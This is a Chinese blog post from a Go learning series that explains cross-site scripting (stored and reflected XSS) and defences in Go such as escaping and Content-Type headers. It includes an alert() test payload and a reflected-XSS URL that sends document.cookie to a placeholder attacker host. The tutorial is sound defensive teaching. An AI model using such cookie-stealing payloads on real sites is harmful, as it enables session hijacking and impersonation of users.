Go基础学习记录之XSS攻击

{app.params.name}}{app.params.name}}{app.params.name}}

XSS攻击

随着互联网技术的发展,Web应用程序通常包含动态内容以改善用户体验。
动态内容是根据用户请求和操作做出反应和更改的内容。
动态站点通常容易受到跨站点脚本攻击(通常由安全专家以其缩写形式XSS引用),静态网站完全不受其影响。

什么是XSS?

如上所述,术语XSS是Cross-Site Scripting的首字母缩写,它是Web上常见的一种攻击。
为了不将它与另一个常见的网络首字母缩略词CSS(Cascading Style Sheets)混淆,我们在跨站点脚本中使用X而不是C来进行交叉。
XSS是一种常见的Web安全漏洞,允许攻击者将恶意代码注入网页。
与通常仅涉及攻击者和受害者的大多数类型的攻击不同,XSS涉及三方:攻击者,客户端和Web应用程序。
XSS攻击的目的是窃取Web应用程序存储在客户端上的cookie,以便读取敏感的客户端信息。
一旦攻击者获得此信息,他们就可以冒充用户并在不知情或未经批准的情况下与网站进行互动。

XSS攻击通常可以分为两类:一类是存储的XSS攻击。
当允许用户将数据输入到公共页面上时,会出现这种形式的攻击,该公共页面在被服务器保存之后将被返回(未转义)给恰好正在浏览它的其他用户。
通常受影响的页面类型的一些示例包括评论,评论,博客帖子和留言板。
这个过程通常是这样的:攻击者输入一些html后跟一个隐藏的<script>标签,其中包含一些恶意代码,然后点击保存。
Web应用程序将其保存到数据库中。
当另一个用户请求此页面时,应用程序从数据库中查询此受污染的数据并将该页面提供给用户。
攻击者的脚本然后在客户端的计算机上执行任意代码。

另一种类型是反射的XSS攻击。
主要思想是将恶意脚本直接嵌入到URL地址的查询参数中。
服务器立即将此数据解析为结果页并将其返回(发出请求的客户端)未经过无限制,可能会无意中导致客户端的计算机执行此代码。
攻击者可以使用编码的有效负载向用户发送合法的链接到受信任的网站;
单击此链接可能导致用户的浏览器执行恶意脚本。

XSS的主要手段和结尾如下:

1. 盗窃cookie,访问敏感信息。
2. 通过跨域权限使用嵌入式Flash也可以被攻击者用来获取更高的用户权限。这也适用于其他类似的攻击向量,如Java和VBScript。
3. 使用iframes, frames, XMLHttpRequests等可以允许攻击者承担用户的身份以执行管理操作,例如微博,添加朋友,发送私人消息和其他例行操作。不久前,新浪微博平台遭遇了这种类型的XSS漏洞。
4. 当许多用户访问受XSS攻击影响的页面时,对某些较小站点的影响可能与DDoS攻击的影响相当。

XSS原则

在没有首先检查和过滤它的情况下向用户返回所请求数据的Web应用程序可以允许恶意用户将脚本(通常嵌入在<script>标签内的HTML内)注入其他用户的浏览器。
当这个恶意代码在用户的浏览器上呈现而没有首先被转义时,用户的浏览器将解释这个代码:这是XSS攻击的定义,这种类型的错误是导致XSS漏洞的主要原因。

让我们来看看反射XSS攻击的过程。
假设有一个网站根据URL查询参数输出用户名;
访问以下URL http://127.0.0.1/?name=durban将导致服务器输出以下内容:

hello durban

假设我们传递以下参数,访问相同的URL:http://127.0.0.1/?name=<script>alert('durban,xss')</script>。
如果这导致浏览器生成警报弹出框,我们可以确认该站点容易受到XSS攻击。
那么恶意用户如何使用相同类型的攻击窃取cookie?

和以前一样,我们有一个URL:

http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;

通过单击此URL,您将当前cookie发送到指定的站点:www.xxx.com。
您可能想知道,为什么有人会首先点击这样一个看起来很奇怪的URL?
虽然这种URL确实会让大多数人持怀疑态度,但如果攻击者使用众多流行的URL缩短服务之一来掩盖它,你还能看到它吗?
大多数攻击者会以这种或那种方式混淆URL,并且在点击它之后你只知道链接的合法性。
但是到目前为止,cookie数据已经被发送到第三方网站,从而危及您的敏感信息。
您可以使用Websleuth等工具来审核Web应用程序的安全性,以了解这些类型的漏洞。

有关XSS攻击的更详细分析,请查看文章:"[新浪微博XSS事件分析] (http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)"

如何防止XSS

答案很简单:永远不要信任用户输入,并且总是过滤掉您可能收到的任何输入数据中的所有特殊字符。
这将消除大多数XSS攻击。

使用以下技术来抵御XSS攻击:

1. 过滤特殊字符

避免XSS的一种方法是过滤用户提供的内容。
Go语言在其text/template包中提供了一些HTML过滤功能,例如HTMLEscapeString和JSEscapeString等。

2. 在HTTP标头中指定内容类型

w.Header().Set("Content-Type","text/javascript")

这允许客户端浏览器将响应解析为javascript代码(应用必要的过滤器),而不是以未指定和潜在危险的方式呈现内容。

小结

在开发Web应用程序时,引入XSS漏洞是一个非常现实的危险。
重要的是要记住过滤所有数据,特别是在将数据输出到客户端之前;
现在,这是一种预防XSS的成熟手段。


 

版权声明

durban创作并维护的 小绒毛的足迹博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证。

本文首发于 博客( https://www.xiaorongmao.com ),版权所有,侵权必究。

本文永久链接: https://www.xiaorongmao.com/blog/107



版权声明

durban创作并维护的 小绒毛的足迹博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证。

本文首发于 小绒毛的足迹博客( https://www.xiaorongmao.com ),版权所有,侵权必究。

本文永久链接: https://www.xiaorongmao.com/blog/107